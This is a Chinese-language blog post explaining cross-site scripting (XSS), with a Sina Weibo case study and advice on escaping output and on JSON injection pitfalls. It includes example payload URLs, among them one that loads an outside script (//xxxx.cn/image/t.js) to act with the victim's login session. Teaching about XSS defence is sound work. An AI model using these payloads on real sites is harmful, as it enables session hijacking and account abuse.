美文网首页
XSS跨站请求攻击

XSS跨站请求攻击

作者: 张云飞Vir | 来源:发表于2024-02-28 21:16 被阅读0次

    一、前言

    XSS 即 Cross Site Script,跨站脚本攻击;缩写应该是 CSS,但为了和 CSS(Cascading Style Sheet,层叠样式表) 有所区分,因而改叫 XSS

    也就通过利用网站漏洞,通过网址,输入框等方式构造恶意脚本( java script) ,用脚本进行攻击的一种方式。

    二、概述

    案例

    新浪微博 XSS 漏洞
    
    1) 攻击者发现漏洞:发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。
    2) 于是攻击者构建出一个 URL,然后诱导用户去点击:
    http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
    用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
    复制代码<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>
    3) 浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作
    

    (1) 发现漏洞,比如:

    • 网址中的链接可以注入脚本
      比如 某网站搜索页面的网址是:http://xxx/search?keyword=搜索词。这个页面打开后会将“搜索词” 相显示在页面中。那么,构造一个
    http://xxx/search?keyword="><script>alert('XSS');</script> 
    

    这样的网址,让用户点击,就可以进行攻击

    • 文本输入框
    • 富文本编辑器,比如,发帖,评论。通过在帖子,评论中注入 script脚本, 当查看评论时触发脚本,自动发送cookie信息等。
    • 将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

    三、如何预防xss攻击

    整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

    输入过滤

    在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?
    答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
    那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?问题是:在提交阶段,我们并不确定内容要输出到哪里,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

    通过“防止浏览器执行恶意代码”来防范 XSS

    • 防止 HTML 中出现注入。显示“来自用户输入的内容时”,要进行格式化转义
    • 防止 JavaScript 执行时,执行恶意代码。比如 发评论的内容不能有脚本本执行。
    • json 中也能被注入脚本。

    JSON 也是不安全的:当 JSON 中包含 U+2028 或 U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。
    当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

    相关文章

      网友评论

          本文标题:XSS跨站请求攻击

          本文链接:https://www.haomeiwen.com/subject/mtjxzdtx.html